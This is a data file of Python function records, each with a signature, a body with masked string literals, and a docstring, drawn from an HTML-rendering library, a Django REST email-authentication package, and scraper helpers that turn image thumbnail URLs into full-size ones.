{"signature": "def render(self, *args, **kwargs):", "body": "r = []<EOL>if self.doctype:<EOL><INDENT>r.append(self.doctype)<EOL>r.append('<STR_LIT:\\n>')<EOL><DEDENT>r.append(super(document, self).render(*args, **kwargs))<EOL>return u'<STR_LIT>'.join(r)<EOL>", "docstring": "Creates a <title> tag if not present and renders the DOCTYPE and tag tree.", "id": "f4774:c0:m4"}
{"signature": "@property<EOL><INDENT>def parentNode(self):<DEDENT>", "body": "return self.parent<EOL>", "docstring": "DOM API: Returns the parent tag of the current element.", "id": "f4775:c0:m0"}
{"signature": "def getElementById(self, id):", "body": "results = self.get(id=id)<EOL>if len(results) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>' % id)<EOL><DEDENT>elif results:<EOL><INDENT>return results[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "DOM API: Returns single element with matching id value.", "id": "f4775:c0:m1"}
{"signature": "def getElementsByTagName(self, name):", "body": "if isinstance(name, basestring):<EOL><INDENT>return self.get(name.lower())<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "DOM API: Returns all tags that match name.", "id": "f4775:c0:m2"}
{"signature": "def appendChild(self, obj):", "body": "self.add(obj)<EOL>return self<EOL>", "docstring": "DOM API: Add an item to the end of the children list.", "id": "f4775:c0:m3"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(html_tag, self).__init__(*args, **kwargs)<EOL>", "docstring": "Creates a new html tag instance.", "id": "f4776:c0:m0"}
{"signature": "def get_user(self, obj):", "body": "return obj.email.user<EOL>", "docstring": "Get the user that owns the password reset token.", "id": "f4780:c2:m0"}
{"signature": "def save(self):", "body": "pass<EOL>", "docstring": "Mock save method.", "id": "f4782:c0:m0"}
{"signature": "def __init__(self, settings_obj):", "body": "settings_obj.REST_EMAIL_AUTH = copy.deepcopy(<EOL>settings_obj.REST_EMAIL_AUTH<EOL>)<EOL>self.__dict__[\"<STR_LIT>\"] = settings_obj<EOL>self.__dict__[\"<STR_LIT>\"] = copy.deepcopy(settings_obj.REST_EMAIL_AUTH)<EOL>", "docstring": "Create a new mutable settings instance.\n\nThis is done by making a copy of the REST_EMAIL_AUTH\nconfiguration dictionary. Since the settings fixture is rolled\nback at the end of each test, it sees that we changed the\ndictionary reference and points it back to the original.\n\nArgs:\n    settings_obj:\n        The object through which Django's settings are\n        accessible. We rely on the fact that this object is\n        rolled back after each test.", "id": "f4793:c0:m0"}
{"signature": "def __getattr__(self, name):", "body": "if hasattr(application_settings, name):<EOL><INDENT>return getattr(application_settings, name)<EOL><DEDENT>return super(MutableAppSettings, self).__getattribute__(name)<EOL>", "docstring": "Attempt to lookup attributes using the application's settings.\n\nIf the attribute is not accessible through the application\nsettings it falls back to the default behavior.", "id": "f4793:c0:m1"}
{"signature": "def __setattr__(self, name, value):", "body": "self.settings_obj.REST_EMAIL_AUTH[name] = value<EOL>", "docstring": "Setting attributes modifies the settings dictionary directly.", "id": "f4793:c0:m2"}
{"signature": "def create(self, validated_data):", "body": "email_query = models.EmailAddress.objects.filter(<EOL>email=self.validated_data[\"<STR_LIT:email>\"]<EOL>)<EOL>if email_query.exists():<EOL><INDENT>email = email_query.get()<EOL>email.send_duplicate_notification()<EOL><DEDENT>else:<EOL><INDENT>email = super(EmailSerializer, self).create(validated_data)<EOL>email.send_confirmation()<EOL>user = validated_data.get(\"<STR_LIT:user>\")<EOL>query = models.EmailAddress.objects.filter(<EOL>is_primary=True, user=user<EOL>)<EOL>if not query.exists():<EOL><INDENT>email.set_primary()<EOL><DEDENT><DEDENT>return email<EOL>", "docstring": "Create a new email and send a confirmation to it.\n\nReturns:\n    The newly creating ``EmailAddress`` instance.", "id": "f4805:c0:m0"}
{"signature": "def update(self, instance, validated_data):", "body": "is_primary = validated_data.pop(\"<STR_LIT>\", False)<EOL>instance = super(EmailSerializer, self).update(<EOL>instance, validated_data<EOL>)<EOL>if is_primary:<EOL><INDENT>instance.set_primary()<EOL><DEDENT>return instance<EOL>", "docstring": "Update the instance the serializer is bound to.\n\nArgs:\n    instance:\n        The instance the serializer is bound to.\n    validated_data:\n        The data to update the serializer with.\n\nReturns:\n    The updated instance.", "id": "f4805:c0:m1"}
{"signature": "def validate_email(self, email):", "body": "user, domain = email.rsplit(\"<STR_LIT:@>\", <NUM_LIT:1>)<EOL>email = \"<STR_LIT:@>\".join([user, domain.lower()])<EOL>if self.instance and email and self.instance.email != email:<EOL><INDENT>raise serializers.ValidationError(<EOL>_(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>)<EOL><DEDENT>return email<EOL>", "docstring": "Validate the provided email address.\n\nThe email address is first modified to match the RFC spec.\nNamely, the domain portion of the email is lowercased.\n\nReturns:\n    The validated email address.\n\nRaises:\n    serializers.ValidationError:\n        If the serializer is bound and the provided email\n        doesn't match the existing address.", "id": "f4805:c0:m2"}
{"signature": "def validate_is_primary(self, is_primary):", "body": "<EOL>if is_primary and not (self.instance and self.instance.is_verified):<EOL><INDENT>raise serializers.ValidationError(<EOL>_(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>)<EOL><DEDENT>return is_primary<EOL>", "docstring": "Validate the provided 'is_primary' parameter.\n\nReturns:\n    The validated 'is_primary' value.\n\nRaises:\n    serializers.ValidationError:\n        If the user attempted to mark an unverified email as\n        their primary email address.", "id": "f4805:c0:m3"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super().__init__(*args, **kwargs)<EOL>self._confirmation = None<EOL>if not app_settings.EMAIL_VERIFICATION_PASSWORD_REQUIRED:<EOL><INDENT>self.fields.pop(\"<STR_LIT:password>\")<EOL><DEDENT>", "docstring": "Conditionally remove the password field based on if a password\nis required to verify an email address.", "id": "f4805:c1:m0"}
{"signature": "def save(self):", "body": "self._confirmation.confirm()<EOL>self._confirmation.delete()<EOL>", "docstring": "Confirm the email address matching the confirmation key.", "id": "f4805:c1:m1"}
{"signature": "def validate(self, data):", "body": "user = self._confirmation.email.user<EOL>if (<EOL>app_settings.EMAIL_VERIFICATION_PASSWORD_REQUIRED<EOL>and not user.check_password(data[\"<STR_LIT:password>\"])<EOL>):<EOL><INDENT>raise serializers.ValidationError(<EOL>_(\"<STR_LIT>\")<EOL>)<EOL><DEDENT>data[\"<STR_LIT:email>\"] = self._confirmation.email.email<EOL>return data<EOL>", "docstring": "Validate the provided data.\n\nReturns:\n    dict:\n        The validated data.\n\nRaises:\n    serializers.ValidationError:\n        If the provided password is invalid.", "id": "f4805:c1:m2"}
{"signature": "def validate_key(self, key):", "body": "try:<EOL><INDENT>confirmation = models.EmailConfirmation.objects.select_related(<EOL>\"<STR_LIT>\"<EOL>).get(key=key)<EOL><DEDENT>except models.EmailConfirmation.DoesNotExist:<EOL><INDENT>raise serializers.ValidationError(<EOL>_(\"<STR_LIT>\")<EOL>)<EOL><DEDENT>if confirmation.is_expired:<EOL><INDENT>raise serializers.ValidationError(<EOL>_(\"<STR_LIT>\")<EOL>)<EOL><DEDENT>self._confirmation = confirmation<EOL>return key<EOL>", "docstring": "Validate the provided confirmation key.\n\nReturns:\n    str:\n        The validated confirmation key.\n\nRaises:\n    serializers.ValidationError:\n        If there is no email confirmation with the given key or\n        the confirmation has expired.", "id": "f4805:c1:m3"}
{"signature": "def save(self):", "body": "try:<EOL><INDENT>email = models.EmailAddress.objects.get(<EOL>email=self.validated_data[\"<STR_LIT:email>\"], is_verified=True<EOL>)<EOL><DEDENT>except models.EmailAddress.DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>token = models.PasswordResetToken.objects.create(email=email)<EOL>token.send()<EOL>return token<EOL>", "docstring": "Send out a password reset if the provided data is valid.\n\nIf the provided email address exists and is verified, a reset\nemail is sent to the address.\n\nReturns:\n    The password reset token if it was returned and ``None``\n    otherwise.", "id": "f4805:c2:m0"}
{"signature": "def save(self):", "body": "token = models.PasswordResetToken.objects.get(<EOL>key=self.validated_data[\"<STR_LIT:key>\"]<EOL>)<EOL>token.email.user.set_password(self.validated_data[\"<STR_LIT:password>\"])<EOL>token.email.user.save()<EOL>logger.info(\"<STR_LIT>\", token.email.user)<EOL>token.delete()<EOL>", "docstring": "Reset the user's password if the provided information is valid.", "id": "f4805:c3:m0"}
{"signature": "def validate_key(self, key):", "body": "if not models.PasswordResetToken.valid_tokens.filter(key=key).exists():<EOL><INDENT>raise serializers.ValidationError(<EOL>_(\"<STR_LIT>\")<EOL>)<EOL><DEDENT>return key<EOL>", "docstring": "Validate the provided reset key.\n\nReturns:\n    The validated key.\n\nRaises:\n    serializers.ValidationError:\n        If the provided key does not exist.", "id": "f4805:c3:m1"}
{"signature": "def validate_password(self, password):", "body": "password_validation.validate_password(password)<EOL>return password<EOL>", "docstring": "Validate the provided password by running it through Django's\npassword validation system.\n\nReturns:\n    The validated password.\n\nRaises:\n    ValidationError:\n        If the provided password does not pass the configured\n        password validators.", "id": "f4805:c3:m2"}
{"signature": "def create(self, validated_data):", "body": "email = validated_data.pop(\"<STR_LIT:email>\")<EOL>password = validated_data.pop(\"<STR_LIT:password>\")<EOL>user = get_user_model()(**validated_data)<EOL>user.set_password(password)<EOL>user.email = email<EOL>email_query = models.EmailAddress.objects.filter(email=email)<EOL>if email_query.exists():<EOL><INDENT>existing_email = email_query.get()<EOL>existing_email.send_duplicate_notification()<EOL><DEDENT>else:<EOL><INDENT>user.save()<EOL>email_instance = models.EmailAddress.objects.create(<EOL>email=email, user=user<EOL>)<EOL>email_instance.send_confirmation()<EOL>signals.user_registered.send(sender=self.__class__, user=user)<EOL><DEDENT>return user<EOL>", "docstring": "Create a new user from the data passed to the serializer.\n\nIf the provided email has not been verified yet, the user is\ncreated and a verification email is sent to the address.\nOtherwise we send a notification to the email address that\nsomeone attempted to register with an email that's already been\nverified.\n\nArgs:\n    validated_data (dict):\n        The data passed to the serializer after it has been\n        validated.\n\nReturns:\n    A new user created from the provided data.", "id": "f4805:c4:m0"}
{"signature": "def validate_email(self, email):", "body": "user, domain = email.rsplit(\"<STR_LIT:@>\", <NUM_LIT:1>)<EOL>return \"<STR_LIT:@>\".join([user, domain.lower()])<EOL>", "docstring": "Validate the provided email address.\n\nArgs:\n    email:\n        The email address to validate.\n\nReturns:\n    The provided email address, transformed to match the RFC\n    spec. Namely, the domain portion of the email must be\n    lowercase.", "id": "f4805:c4:m1"}
{"signature": "def validate_password(self, password):", "body": "password_validation.validate_password(password)<EOL>return password<EOL>", "docstring": "Validate the provided password.\n\nArgs:\n    password (str):\n        The password provided by the user.\n\nReturns:\n    str:\n        The validated password.\n\nRaises:\n    ValidationError:\n        If the provided password doesn't pass Django's provided\n        password validation.", "id": "f4805:c4:m2"}
{"signature": "def save(self):", "body": "try:<EOL><INDENT>email = models.EmailAddress.objects.get(<EOL>email=self.validated_data[\"<STR_LIT:email>\"], is_verified=False<EOL>)<EOL>logger.debug(<EOL>\"<STR_LIT>\",<EOL>self.validated_data[\"<STR_LIT:email>\"],<EOL>)<EOL>email.send_confirmation()<EOL><DEDENT>except models.EmailAddress.DoesNotExist:<EOL><INDENT>logger.debug(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>self.validated_data[\"<STR_LIT:email>\"],<EOL>)<EOL><DEDENT>", "docstring": "Resend a verification email to the provided address.\n\nIf the provided email is already verified no action is taken.", "id": "f4805:c5:m0"}
{"signature": "def post(self, request):", "body": "serializer = self.get_serializer(data=request.data)<EOL>if serializer.is_valid():<EOL><INDENT>serializer.save()<EOL>return Response(serializer.data)<EOL><DEDENT>return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)<EOL>", "docstring": "Save the provided data using the class' serializer.\n\nArgs:\n    request:\n        The request being made.\n\nReturns:\n    An ``APIResponse`` instance. If the request was successful\n    the response will have a 200 status code and contain the\n    serializer's data. Otherwise a 400 status code and the\n    request's errors will be returned.", "id": "f4806:c0:m0"}
{"signature": "def get_user(self, user_id):", "body": "try:<EOL><INDENT>return get_user_model().objects.get(id=user_id)<EOL><DEDENT>except get_user_model().DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get a user by their ID.\n\nArgs:\n    user_id:\n        The ID of the user to fetch.\n\nReturns:\n    The user with the specified ID if they exist and ``None``\n    otherwise.", "id": "f4812:c0:m0"}
{"signature": "def authenticate(self, request, email=None, password=None, username=None):", "body": "email = email or username<EOL>try:<EOL><INDENT>email_instance = models.EmailAddress.objects.get(<EOL>is_verified=True, email=email<EOL>)<EOL><DEDENT>except models.EmailAddress.DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>user = email_instance.user<EOL>if user.check_password(password):<EOL><INDENT>return user<EOL><DEDENT>return None<EOL>", "docstring": "Attempt to authenticate a set of credentials.\n\nArgs:\n    request:\n        The request associated with the authentication attempt.\n    email:\n        The user's email address.\n    password:\n        The user's password.\n    username:\n        An alias for the ``email`` field. This is provided for\n        compatability with Django's built in authentication\n        views.\n\nReturns:\n    The user associated with the provided credentials if they\n    are valid. Returns ``None`` otherwise.", "id": "f4812:c1:m0"}
{"signature": "def get_queryset(self):", "body": "return self.request.user.email_addresses.all()<EOL>", "docstring": "Get the email addresses belonging to the requesting user.\n\nReturns:\n    A queryset containing only the email addresses owned by the\n    requesting user.", "id": "f4813:c0:m0"}
{"signature": "def get_queryset(self):", "body": "return self.request.user.email_addresses.all()<EOL>", "docstring": "Get the email addresses belonging to the requesting user.\n\nReturns:\n    A queryset containing only the email addresses owned by the\n    requesting user.", "id": "f4813:c1:m0"}
{"signature": "def perform_create(self, serializer):", "body": "return serializer.save(user=self.request.user)<EOL>", "docstring": "Create a new email address attached to the requesting user.\n\nArgs:\n    serializer:\n        An instance of the view's serializer class containing\n        the data submitted in the request.\n\nReturns:\n    The newly created email address.", "id": "f4813:c1:m1"}
{"signature": "def get_serializer_class(self):", "body": "return app_settings.REGISTRATION_SERIALIZER<EOL>", "docstring": "Get the serializer class used to register new users.", "id": "f4813:c5:m0"}
{"signature": "@classmethod<EOL><INDENT>def _create(cls, model_class, *args, **kwargs):<DEDENT>", "body": "manager = cls._get_manager(model_class)<EOL>return manager.create_user(*args, **kwargs)<EOL>", "docstring": "Create a new user instance.\n\nArgs:\n    model_class:\n        The type of model to create an instance of.\n    args:\n        Positional arguments to create the instance with.\n    kwargs:\n        Keyword arguments to create the instance with.\n\nReturns:\n    A new user instance of the type specified by\n    ``model_class``.", "id": "f4814:c3:m0"}
{"signature": "def create(self, *args, **kwargs):", "body": "is_primary = kwargs.pop(\"<STR_LIT>\", False)<EOL>with transaction.atomic():<EOL><INDENT>email = super(EmailAddressManager, self).create(*args, **kwargs)<EOL>if is_primary:<EOL><INDENT>email.set_primary()<EOL><DEDENT><DEDENT>return email<EOL>", "docstring": "Create a new email address.", "id": "f4815:c0:m0"}
{"signature": "def get_queryset(self):", "body": "oldest = timezone.now() - app_settings.PASSWORD_RESET_EXPIRATION<EOL>queryset = super(ValidPasswordResetTokenManager, self).get_queryset()<EOL>return queryset.filter(created_at__gt=oldest)<EOL>", "docstring": "Return all unexpired password reset tokens.", "id": "f4815:c1:m0"}
{"signature": "def __init__(self):", "body": "<EOL>assert self.EMAIL_VERIFICATION_URL<EOL>assert self.PASSWORD_RESET_URL<EOL>", "docstring": "Perform some basic settings checks.", "id": "f4817:c0:m0"}
{"signature": "def _setting(self, name, default):", "body": "from django.conf import settings<EOL>settings_dict = getattr(settings, \"<STR_LIT>\", {})<EOL>return settings_dict.get(name, default)<EOL>", "docstring": "Retrieve a setting from the current Django settings.\n\nSettings are retrieved from the ``REST_EMAIL_AUTH`` dict in the\nsettings file.\n\nArgs:\n    name (str):\n        The name of the setting to retrieve.\n    default:\n        The setting's default value.\n\nReturns:\n    The value provided in the settings dictionary if it exists.\n    The default value is returned otherwise.", "id": "f4817:c0:m1"}
{"signature": "@property<EOL><INDENT>def CONFIRMATION_EXPIRATION(self):<DEDENT>", "body": "import datetime<EOL>return self._setting(<EOL>\"<STR_LIT>\", datetime.timedelta(days=<NUM_LIT:1>)<EOL>)<EOL>", "docstring": "The duration that an email confirmation is valid for.\n\nDefaults to 1 day.", "id": "f4817:c0:m2"}
{"signature": "@property<EOL><INDENT>def CONFIRMATION_SAVE_PERIOD(self):<DEDENT>", "body": "import datetime<EOL>return self._setting(<EOL>\"<STR_LIT>\", datetime.timedelta(days=<NUM_LIT:7>)<EOL>)<EOL>", "docstring": "The duration that expired confirmations are saved for.\n\nDefaults to 7 days.", "id": "f4817:c0:m3"}
{"signature": "@property<EOL><INDENT>def EMAIL_VERIFICATION_PASSWORD_REQUIRED(self):<DEDENT>", "body": "return self._setting(\"<STR_LIT>\", True)<EOL>", "docstring": "A boolean indicating if the user's password is required to\nverify their email address.", "id": "f4817:c0:m4"}
{"signature": "@property<EOL><INDENT>def EMAIL_VERIFICATION_URL(self):<DEDENT>", "body": "return self._setting(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>", "docstring": "The template to use for the email verification url.", "id": "f4817:c0:m5"}
{"signature": "@property<EOL><INDENT>def PASSWORD_RESET_EXPIRATION(self):<DEDENT>", "body": "import datetime<EOL>return self._setting(<EOL>\"<STR_LIT>\", datetime.timedelta(hours=<NUM_LIT:1>)<EOL>)<EOL>", "docstring": "The duration that a password reset token is valid for.\n\nDefaults to 1 hour.", "id": "f4817:c0:m6"}
{"signature": "@property<EOL><INDENT>def PASSWORD_RESET_URL(self):<DEDENT>", "body": "return self._setting(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>", "docstring": "The template to use for the password reset url.", "id": "f4817:c0:m7"}
{"signature": "@property<EOL><INDENT>def REGISTRATION_SERIALIZER(self):<DEDENT>", "body": "from django.utils.module_loading import import_string<EOL>return import_string(<EOL>self._setting(<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>)<EOL>)<EOL>", "docstring": "The serializer class used for registering new users.", "id": "f4817:c0:m8"}
{"signature": "def handle(self, *args, **kwargs):", "body": "cutoff = timezone.now()<EOL>cutoff -= app_settings.CONFIRMATION_EXPIRATION<EOL>cutoff -= app_settings.CONFIRMATION_SAVE_PERIOD<EOL>queryset = models.EmailConfirmation.objects.filter(<EOL>created_at__lte=cutoff<EOL>)<EOL>count = queryset.count()<EOL>queryset.delete()<EOL>if count:<EOL><INDENT>self.stdout.write(<EOL>self.style.SUCCESS(<EOL>\"<STR_LIT>\".format(<EOL>count=count<EOL>)<EOL>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>self.stdout.write(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Handle execution of the command.", "id": "f4818:c0:m0"}
{"signature": "def generate_token():", "body": "return get_random_string(length=<NUM_LIT:64>)<EOL>", "docstring": "Get a random 64 character string.\n\nReturns:\n    str:\n        A random 64 character string.", "id": "f4819:m0"}
{"signature": "def __str__(self):", "body": "return self.email<EOL>", "docstring": "Get a string representation of the email address.\n\nReturns:\n    str:\n        A text version of the email address. Ex:\n        ``test@example.com``.", "id": "f4819:c0:m0"}
{"signature": "def send_confirmation(self):", "body": "confirmation = EmailConfirmation.objects.create(email=self)<EOL>confirmation.send()<EOL>", "docstring": "Send a verification email for the email address.", "id": "f4819:c0:m1"}
{"signature": "def send_duplicate_notification(self):", "body": "email_utils.send_email(<EOL>from_email=settings.DEFAULT_FROM_EMAIL,<EOL>recipient_list=[self.email],<EOL>subject=_(\"<STR_LIT>\"),<EOL>template_name=\"<STR_LIT>\",<EOL>)<EOL>logger.info(\"<STR_LIT>\", self.email)<EOL>", "docstring": "Send a notification about a duplicate signup.", "id": "f4819:c0:m2"}
{"signature": "def set_primary(self):", "body": "query = EmailAddress.objects.filter(is_primary=True, user=self.user)<EOL>query = query.exclude(pk=self.pk)<EOL>with transaction.atomic():<EOL><INDENT>query.update(is_primary=False)<EOL>self.is_primary = True<EOL>self.save()<EOL><DEDENT>logger.info(<EOL>\"<STR_LIT>\",<EOL>self.email,<EOL>self.user,<EOL>)<EOL>", "docstring": "Set this email address as the user's primary email.", "id": "f4819:c0:m3"}
{"signature": "def confirm(self):", "body": "self.email.is_verified = True<EOL>self.email.save()<EOL>signals.email_verified.send(email=self.email, sender=self.__class__)<EOL>logger.info(\"<STR_LIT>\", self.email.email)<EOL>", "docstring": "Mark the instance's email as verified.", "id": "f4819:c1:m0"}
{"signature": "@property<EOL><INDENT>def is_expired(self):<DEDENT>", "body": "expiration_time = self.created_at + datetime.timedelta(days=<NUM_LIT:1>)<EOL>return timezone.now() > expiration_time<EOL>", "docstring": "Determine if the confirmation has expired.\n\nReturns:\n    bool:\n        ``True`` if the confirmation has expired and ``False``\n        otherwise.", "id": "f4819:c1:m1"}
{"signature": "def send(self):", "body": "context = {<EOL>\"<STR_LIT>\": app_settings.EMAIL_VERIFICATION_URL.format(<EOL>key=self.key<EOL>)<EOL>}<EOL>email_utils.send_email(<EOL>context=context,<EOL>from_email=settings.DEFAULT_FROM_EMAIL,<EOL>recipient_list=[self.email.email],<EOL>subject=_(\"<STR_LIT>\"),<EOL>template_name=\"<STR_LIT>\",<EOL>)<EOL>logger.info(<EOL>\"<STR_LIT>\",<EOL>self.email.email,<EOL>self.email.user.id,<EOL>)<EOL>", "docstring": "Send a verification email to the user.", "id": "f4819:c1:m2"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(self.email.user)<EOL>", "docstring": "Get a string representation of the instance.\n\nReturns:\n    Information about the token's owner.", "id": "f4819:c2:m0"}
{"signature": "def send(self):", "body": "context = {<EOL>\"<STR_LIT>\": app_settings.PASSWORD_RESET_URL.format(key=self.key)<EOL>}<EOL>email_utils.send_email(<EOL>context=context,<EOL>from_email=settings.DEFAULT_FROM_EMAIL,<EOL>recipient_list=[self.email.email],<EOL>subject=_(\"<STR_LIT>\"),<EOL>template_name=\"<STR_LIT>\",<EOL>)<EOL>logger.info(\"<STR_LIT>\", self.email)<EOL>", "docstring": "Send the password reset token to the user.", "id": "f4819:c2:m1"}
{"signature": "def background_image_finder(pipeline_index,<EOL>soup,<EOL>finder_image_urls=[],<EOL>*args, **kwargs):", "body": "now_finder_image_urls = []<EOL>for tag in soup.find_all(style=True):<EOL><INDENT>style_string = tag['<STR_LIT>']<EOL>if '<STR_LIT>' in style_string.lower():<EOL><INDENT>style = cssutils.parseStyle(style_string)<EOL>background_image = style.getProperty('<STR_LIT>')<EOL>if background_image:<EOL><INDENT>for property_value in background_image.propertyValue:<EOL><INDENT>background_image_url = str(property_value.value)<EOL>if background_image_url:<EOL><INDENT>if (background_image_url not in finder_image_urls) and(background_image_url not in now_finder_image_urls):<EOL><INDENT>now_finder_image_urls.append(background_image_url)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>output = {}<EOL>output['<STR_LIT>'] = finder_image_urls + now_finder_image_urls<EOL>return output<EOL>", "docstring": "Find image URL in background-image\n\nExample:\n<div style=\"width: 100%; height: 100%; background-image: url(http://distilleryimage10.ak.instagram.com/bde04558a43b11e28e5d22000a1f979a_7.jpg);\" class=\"Image iLoaded iWithTransition Frame\" src=\"http://distilleryimage10.ak.instagram.com/bde04558a43b11e28e5d22000a1f979a_7.jpg\"></div>\nto\nhttp://distilleryimage10.ak.instagram.com/bde04558a43b11e28e5d22000a1f979a_7.jpg", "id": "f4830:m0"}
{"signature": "def img_src_finder(pipeline_index,<EOL>soup,<EOL>finder_image_urls=[],<EOL>*args, **kwargs):", "body": "now_finder_image_urls = []<EOL>for img in soup.find_all('<STR_LIT>'):<EOL><INDENT>src = img.get('<STR_LIT:src>', None)<EOL>if src:<EOL><INDENT>src = str(src)<EOL>if (src not in finder_image_urls) and(src not in now_finder_image_urls):<EOL><INDENT>now_finder_image_urls.append(src)<EOL><DEDENT><DEDENT><DEDENT>output = {}<EOL>output['<STR_LIT>'] = finder_image_urls + now_finder_image_urls<EOL>return output<EOL>", "docstring": "Find image URL in <img>'s src attribute", "id": "f4831:m0"}
{"signature": "def a_href_finder(pipeline_index,<EOL>soup,<EOL>finder_image_urls=[],<EOL>*args, **kwargs):", "body": "now_finder_image_urls = []<EOL>for a in soup.find_all('<STR_LIT:a>'):<EOL><INDENT>href = a.get('<STR_LIT>', None)<EOL>if href:<EOL><INDENT>href = str(href)<EOL>if filter(href.lower().endswith, ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>if (href not in finder_image_urls) and(href not in now_finder_image_urls):<EOL><INDENT>now_finder_image_urls.append(href)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>output = {}<EOL>output['<STR_LIT>'] = finder_image_urls + now_finder_image_urls<EOL>return output<EOL>", "docstring": "Find image URL in <a>'s href attribute", "id": "f4831:m1"}
{"signature": "def original_image_extender(pipeline_index,<EOL>finder_image_urls,<EOL>extender_image_urls=[],<EOL>*args, **kwargs):", "body": "now_extender_image_urls = []<EOL>search_re = re.compile(r'<STR_LIT>', re.IGNORECASE)<EOL>for image_url in finder_image_urls:<EOL><INDENT>if '<STR_LIT>' in image_url.lower():<EOL><INDENT>if search_re.search(image_url):<EOL><INDENT>extender_image_url = search_re.sub('<STR_LIT>', image_url, count=<NUM_LIT:1>)<EOL>now_extender_image_urls.append(extender_image_url)<EOL><DEDENT><DEDENT><DEDENT>output = {}<EOL>output['<STR_LIT>'] = extender_image_urls + now_extender_image_urls<EOL>return output<EOL>", "docstring": "Example:\nhttp://media-cache-ec0.pinimg.com/70x/50/9b/bd/509bbd5c6543d473bc2b49befe75f4c6.jpg\nhttp://media-cache-ec0.pinimg.com/236x/50/9b/bd/509bbd5c6543d473bc2b49befe75f4c6.jpg\nhttp://media-cache-ec0.pinimg.com/736x/50/9b/bd/509bbd5c6543d473bc2b49befe75f4c6.jpg\nto\nhttp://media-cache-ec0.pinimg.com/originals/50/9b/bd/509bbd5c6543d473bc2b49befe75f4c6.jpg", "id": "f4833:m0"}
{"signature": "def blogspot_s1600_extender(pipeline_index,<EOL>finder_image_urls,<EOL>extender_image_urls=[],<EOL>*args, **kwargs):", "body": "now_extender_image_urls = []<EOL>search_re = re.compile(r'<STR_LIT>', re.IGNORECASE)<EOL>for image_url in finder_image_urls:<EOL><INDENT>if '<STR_LIT>' in image_url.lower():<EOL><INDENT>if search_re.search(image_url):<EOL><INDENT>extender_image_url = search_re.sub('<STR_LIT>', image_url)<EOL>now_extender_image_urls.append(extender_image_url)<EOL><DEDENT><DEDENT><DEDENT>output = {}<EOL>output['<STR_LIT>'] = extender_image_urls + now_extender_image_urls<EOL>return output<EOL>", "docstring": "Example:\nhttp://1.bp.blogspot.com/-S97wTYQKbrY/UkWukhKhTKI/AAAAAAAAJ0g/fcRDiqVC8Us/s898/aaPOP+001.jpg\nto\nhttp://1.bp.blogspot.com/-S97wTYQKbrY/UkWukhKhTKI/AAAAAAAAJ0g/fcRDiqVC8Us/s1600/aaPOP+001.jpg", "id": "f4834:m0"}
{"signature": "def ggpht_s1600_extender(pipeline_index,<EOL>finder_image_urls,<EOL>extender_image_urls=[],<EOL>*args, **kwargs):", "body": "now_extender_image_urls = []<EOL>search_re = re.compile(r'<STR_LIT>', re.IGNORECASE)<EOL>for image_url in finder_image_urls:<EOL><INDENT>if '<STR_LIT>' in image_url.lower():<EOL><INDENT>if search_re.search(image_url):<EOL><INDENT>extender_image_url = search_re.sub('<STR_LIT>', image_url)<EOL>now_extender_image_urls.append(extender_image_url)<EOL><DEDENT><DEDENT><DEDENT>output = {}<EOL>output['<STR_LIT>'] = extender_image_urls + now_extender_image_urls<EOL>return output<EOL>", "docstring": "Example:\nhttp://lh4.ggpht.com/-fFi-qJRuxeY/UjwHSOTHGOI/AAAAAAAArgE/SWTMT-hXzB4/s640/Celeber-ru-Emma-Watson-Net-A-Porter-The-Edit-Magazine-Photoshoot-2013-01.jpg\nto\nhttp://lh4.ggpht.com/-fFi-qJRuxeY/UjwHSOTHGOI/AAAAAAAArgE/SWTMT-hXzB4/s1600/Celeber-ru-Emma-Watson-Net-A-Porter-The-Edit-Magazine-Photoshoot-2013-01.jpg", "id": "f4834:m1"}
{"signature": "def googleusercontent_s1600_extender(pipeline_index,<EOL>finder_image_urls,<EOL>extender_image_urls=[],<EOL>*args, **kwargs):", "body": "now_extender_image_urls = []<EOL>search_re = re.compile(r'<STR_LIT>', re.IGNORECASE)<EOL>for image_url in finder_image_urls:<EOL><INDENT>if '<STR_LIT>' in image_url.lower():<EOL><INDENT>if search_re.search(image_url):<EOL><INDENT>extender_image_url = search_re.sub('<STR_LIT>', image_url)<EOL>now_extender_image_urls.append(extender_image_url)<EOL><DEDENT><DEDENT><DEDENT>output = {}<EOL>output['<STR_LIT>'] = extender_image_urls + now_extender_image_urls<EOL>return output<EOL>", "docstring": "Example:\nhttps://lh6.googleusercontent.com/-T6V-utZHzbE/Ukjn-1MDOSI/AAAAAAAAA3g/H6Qcw1zt4n0/w555-h399-no/2101_aa2cac09d1c6431b8a635d61cd9c4471.jpg\nto\nhttps://lh6.googleusercontent.com/-T6V-utZHzbE/Ukjn-1MDOSI/AAAAAAAAA3g/H6Qcw1zt4n0/s1600/2101_aa2cac09d1c6431b8a635d61cd9c4471.jpg", "id": "f4834:m2"}
